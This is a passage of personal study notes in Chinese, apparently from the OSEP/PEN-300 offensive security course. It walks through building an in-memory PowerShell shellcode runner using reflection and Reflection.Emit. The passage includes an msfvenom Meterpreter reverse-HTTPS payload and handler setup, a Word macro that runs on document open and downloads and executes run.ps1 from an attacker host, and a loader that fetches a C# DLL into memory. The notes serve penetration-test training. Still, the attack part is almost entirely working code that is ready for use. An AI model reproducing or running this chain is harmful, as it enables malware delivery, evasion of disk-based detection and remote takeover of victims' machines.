...
TypeName: Microsoft.Win32.UnsafeNativeMethods
Name MemberType Definition
---- ---------- ----------
....
GetModuleFileName Method static int GetModuleFileName(System.Runtime.InteropServices.HandleRef hModule, System.Text.StringBuilder buf...
GetModuleHandle Method static System.IntPtr GetModuleHandle(string modName)
GetNumberOfEventLogRecords Method static bool GetNumberOfEventLogRecords(System.Runtime.InteropServices.SafeHandle hEventLog, [ref] int count)
GetOldestEventLogRecord Method static bool GetOldestEventLogRecord(System.Runtime.InteropServices.SafeHandle hEventLog, [ref] int number)
GetProcAddress Method static System.IntPtr GetProcAddress(System.IntPtr hModule, string methodName), static System.IntPtr GetProcA...
GetProcessWindowStation Method static System.IntPtr
...
修改解析程式碼,先透過 Location property 列印目前 assembly 位置,然後在ForEach-Object loop 中,尋找 TypeName 符合 Microsoft.Win32.UnsafeNativeMethods:
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$Assemblies |
ForEach-Object {
$_.Location
$_.GetTypes()|
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Equals('Microsoft.Win32.UnsafeNativeMethods')
}
} 2> $null
}

System.dll
因為這些 method 只供 .NET codex 內部使用,我們無法直接從 PowerShell 或 C# 呼叫
👉🏻 用 Reflection 取得 internal type 和 method object,再透過 MethodInfo.Invoke() 間接呼叫
# GlobalAssemblyCache: GAC 是 Windows/.NET Framework 的全域 assembly 儲存區 (確認 assembly 來自 GAC)
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
# Reflection:取得 internal type,GetType() 會從 System.dll 取得 Microsoft.Win32.UnsafeNativeMethods
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
# 取得 GetModuleHandle
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

接著使用 使用 Invoke() 呼叫 static method:
$GetModuleHandle.Invoke($null, @("user32.dll"))

140725542060032 轉成 HEX
7FFD37F20000 可以對應到 Process Explorer PowerShell ISE process 的 Load Address:
像之前找 GetModuleHandle 一樣,透過 GetMethod 反射來定位GetProcAddress
🎯:System.dll 中 Win32.UnsafeNativeMethods 引用的 $unsafeObj variable
\
Method overload ⚠️: Microsoft.Win32.UnsafeNativeMethods 裡有不只一個 GetProcAddress
改用 GetMethods 取得 Microsoft.Win32.UnsafeNativeMethods 的所有 method,然後透過 ForEach-Object 循環篩選出 GetProcAddress 的 method
若輸出結果與 GetProcAddress 匹配,則 print 出來。這樣就能找出Microsoft.Win32.UnsafeNativeMethods 中所有的 GetProcAddress
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}

共顯示兩個 instances
把 overload 存進陣列,簡單地建立一個陣列來保存這兩個實例,然後使用第一個實例來解析函數的位址
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

建立空陣列
→ 找所有 GetProcAddress methods
→ 加到陣列
→ 取第一個 overload
解析 MessageBoxA
$user32 =
$GetModuleHandle.Invoke(
$null,
@("user32.dll")
)
$tmp = @()
$unsafeObj.GetMethods() |
ForEach-Object {
if ($_.Name -eq "GetProcAddress") {
$tmp += $_
}
}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke(
$null,
@($user32, "MessageBoxA")
)

成功解析出了一個任意 Win32 API 的位址
找到 user32.dll base address
→ 找到 GetProcAddress MethodInfo
→ 傳入 user32 handle 和 MessageBoxA
→ 得到 MessageBoxA 記憶體位址
可以封裝成 LookupFunc
function LookupFunc {
Param (
$moduleName,
$functionName
)
$assem = (
[AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object {
$_.GlobalAssemblyCache -And
$_.Location.Split('\')[-1].Equals('System.dll')
}
).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = @()
$assem.GetMethods() |
ForEach-Object {
if ($_.Name -eq "GetProcAddress") {
$tmp += $_
}
}
return $tmp[0].Invoke(
$null,
@(
(
$assem.GetMethod('GetModuleHandle')
).Invoke(
$null,
@($moduleName)
),
$functionName
)
)
}
使用 LookupFunc "user32.dll" "MessageBoxA"
可以直接找出 IntPtr 位址
DelegateType Reflection
透過 Reflection 找到 Win32 API 的記憶體位址,接著需要可以直接呼叫 API
目前 LookupFunc 只能回傳函式位址,但 CPU 要正確執行該函式,還需要知道 參數數量、參數型別、參數排列方式、回傳型別、Calling convention、
以 MessageBoxA 為例,C# delegate 可寫成:
delegate int MessageBoxSig(
IntPtr hWnd,
string text,
string caption,
int options
);
C# 可以直接宣告 delegate,但 Powershell 不行。需要使用 System.Reflection.Emit 在記憶體中動態建立一個 delegate type
完整流程會是:
LookupFunc
→ 找到 MessageBoxA 位址
Reflection.Emit
→ 建立動態 assembly
→ 建立 module
→ 建立 delegate type
→ 定義 constructor
→ 定義 Invoke method
→ CreateType
Marshal.GetDelegateForFunctionPointer
→ 將 API 位址綁定到 delegate type
Invoke
→ 呼叫 MessageBoxA
- 第一步建立動態 Assembly 名稱,透過 AssemblyName class 建立新的 assembly object
$MyAssembly設定為已 instantiated 的 ReflectedDelegate assembly object
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
- 在目前 AppDomain 建立動態 assembly
配置其存取模式:
System.Reflection.Emit.AssemblyBuilderAccessnamespace 定義為 Run access mode
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,
[System.Reflection.Emit.AssemblyBuilderAccess]::Run)
只允許在記憶體中執行,不儲存到磁碟
- 建立 Dynamic Module,Assembly 內部需要至少一個 Module
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$false 不產生 symbol information
目前架構:
ReflectedDelegate assembly
└── InMemoryModule
- 建立 Delegate Type,選 MulticastDelegate class 建立具有多個入口的 multiple entries 類型,這樣可以使用多個參數來呼叫目標 API
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
- Class: 這是一個 class
- Public: 可公開存取
- Sealed: 不可再繼承
- AnsiClass: 字串預設採 ANSI marshaling
- AutoClass: runtime 自動管理 layout
- 建立 Delegate Constructor 將 function prototype 放入 type 中
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
'RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
@([IntPtr], [String], [String], [int]))
constructor parameter array 表示 MessageBoxA 的參數型別: IntPtr, String, String, int
👉🏻 hWnd, text, caption, options
Constructor Attributes: RTSpecialName, HideBySig, Public
- 設定 Invoke Implementation Flags 設定 implementation flags 以啟用對 Invoke method 的呼叫,透過 CreateType 方法呼叫 custom constructor
$MyDelegateType = $MyTypeBuilder.CreateType()
以此得到了一個可以在呼叫 GetDelegateForFunctionPointer 時使用的delegate type。結合所有資訊以及 MessageBoxA 已解析的記憶體位址,就可以呼叫 Win32 本機 API 而無需使用 Add-Type
Review: 我們重複使用 LookupFunc method 解析 Win32 API address ,並使用該位址定位 MessageBoxA 的 address。接著建立DelegateType。最後呼叫 GetDelegateForFunctionPointer method 來關聯 function address 和 DelegateType,並呼叫 MessageBox
完整建構 function
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
$MessageBoxA = LookupFunc user32.dll MessageBoxA
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,
[System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType',
'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
'RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
@([IntPtr], [String], [String], [int]))
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
'Public, HideBySig, NewSlot, Virtual',
[int],
@([IntPtr], [String], [String], [int]))
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
$MyDelegateType = $MyTypeBuilder.CreateType()
$MyFunction = [System.Runtime.InteropServices.Marshal]::
GetDelegateForFunctionPointer($MessageBoxA, $MyDelegateType)
$MyFunction.Invoke([IntPtr]::Zero,"Hello World","This is My MessageBox",0)

Reflection Shellcode Runner in PowerShell
建構完整 Workflow:
PowerShell
→ LookupFunc 解析 VirtualAlloc 位址
→ getDelegateType 建立 VirtualAlloc delegate
→ VirtualAlloc 配置記憶體
→ Marshal.Copy 寫入 shellcode
→ 解析並呼叫 CreateThread
→ 從 shellcode 位址建立執行緒
→ 解析並呼叫 WaitForSingleObject
→ 等待執行緒持續執行
上述建立 MessageBoxA delegate 時,程式碼很長,且每呼叫一個不同 API,都要重新建立 Assembly, Module, Type, Constructor, Invoke method
可以直接封裝成 function getDelegateType,接收兩個參數
$func: 代表 API 參數型別陣列$delType: 代表 API 回傳型別
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
可以節合 LookupFunc 函數,使用與先前相同的參數來解析和呼叫VirtualAlloc 函數
用LookupFunc 函數在 Kernel32.dll 中搜尋 Win32 VirtualAlloc API
$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
$VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

2166649520128
利用簡化直接寫入 getDelegateType
(對 LookupFunc 和 getDelegateType 的呼叫嵌入到 GetDelegateForFunctionPointer)
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
Final 在 Kali 產生 PowerShell shellcode
┌──(chw💲CHW)-[~]
└─$ msfvenom \
-p windows/x64/meterpreter/reverse_https \
LHOST=<KALI-IP> \
LPORT=443 \
EXITFUNC=thread \
-f powershell \
-o shellcode.ps1

Windows:
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
在 Kali 中啟動 Handler 監聽
msfconsole
-
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST <KALI-IP>
set LPORT 443
set ExitOnSession false
run

background
sessions
sessions -i 1
-
getuid
sysinfo
getpid
-
shell
且在 Process Monitor 驗證了 .cs file 沒有被寫入 file system

Reflective Code Execution in Client Side Attacks
結合前面提過的兩個技術:
Microsoft Word Macro
+
Reflective PowerShell shellcode runner
讓 Word Macro 啟動 PowerShell,再由 PowerShell 從 Kali 下載 run.ps1 的內容並直接在記憶體執行
使用者開啟 Word 文件
→ Document_Open / AutoOpen 觸發
→ MyMacro 執行
→ Word 啟動 powershell.exe
→ PowerShell 從 Kali 下載 run.ps1
→ IEX 在記憶體執行內容
→ VirtualAlloc 配置記憶體
→ Marshal.Copy 寫入 shellcode
→ CreateThread 執行 shellcode
→ WaitForSingleObject 保持程序存活
→ Reverse Meterpreter 連回 Kali
Including Reflective Code
Reflective PowerShell in Client-Side attacks (ex. Microsoft Word macros)
研究如何以 reflective manner 執行 C# code
Reflective PowerShell in Client-Side Attacks
- Microsoft Word macro
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.50.120/run.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
當 Word 開啟時, AutoOpen 和 Document_Open procedures 會執行 MyMacro。 MyMacro 程序將啟動 PowerShell,並從我們的 Kali 機器上下載 run.ps1 檔案。文件內容下載到變數 str 後,將執行該文件的內容
- reflective PowerShell shellcode runner (run.ps1)
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
將 reflective PowerShell code 儲存在 Kali web root 路徑下
Kali msfconsole 啟動 Handler 監聽
[*] Started HTTPS reverse handler on https://192.168.119.50:443
[*] https://192.168.119.50:443 handling request from 192.168.120.10; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.50:443 -> 192.168.120.10:49678)
meterpreter >
Reflective C# in Client-Side Attacks
目前已經掌握了使用 Windows Script Host 和 C# 的技術。接著將其與 PowerShell 和 Office 的技術結合,開發另一種完全在記憶體中執行 C# 的方法
先前兩種方法:
Add-Type
→ 執行時編譯 C#
→ 暫時產生 .cs 和 .dll
Reflection.Emit
→ 不落地
→ 但程式碼較複雜
第三種方法:
先在開發機編譯好 C# DLL
→ 目標端只負責把 DLL bytes 載入記憶體
整體流程:
C# shellcode runner
→ 編譯成 ClassLibrary1.dll
→ Kali Apache 提供 DLL
→ PowerShell DownloadData 下載成 byte[]
→ Assembly.Load(byte[])
→ GetType()
→ GetMethod()
→ Invoke()
→ shellcode 在 PowerShell process 中執行
- 建立 Class Library
在 Visual Studio 的既有 Solution 'ConsoleApp1'
操作:
右鍵 Solution
→ Add
→ New Project
→ Class Library (.NET Framework)
預設專案名稱 ClassLibrary1
編譯後會得到 ClassLibrary1.dll
Class Library 與 Console Application 的主要差別:
Console Application → 產生 EXE → 入口通常是 Main()
Class Library → 產生 DLL → 沒有自動執行入口 → 必須由其他程式載入並呼叫 method
- 建立 runner()
> Win32 API 宣告必須放在 Class1 class 裡
public class Class1
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void runner()
{
}
}
Win32 API 宣告必須放在 Class1 class 內 runner() method 外
可以從 Kali 下載 DLL,寫入 Windows 磁碟再從磁碟載入 assembly
🥚 這不完全 in-memory ⚠️
(New-Object System.Net.WebClient).DownloadFile('http://192.168.50.120/ClassLibrary1.dll', 'C:\Users\Offsec\ClassLibrary1.dll')
$assem = [System.Reflection.Assembly]::LoadFile("C:\Users\Offsec\ClassLibrary1.dll")
改使用 Net.WebClient class 的 DownloadData method 將 DLL 下載為 byte array
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.50.120/ClassLibrary1.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
Process Injection and Migration
HackMD 筆記長度限制,接續 [OSEP, PEN-300] Instructional notes - Part 3

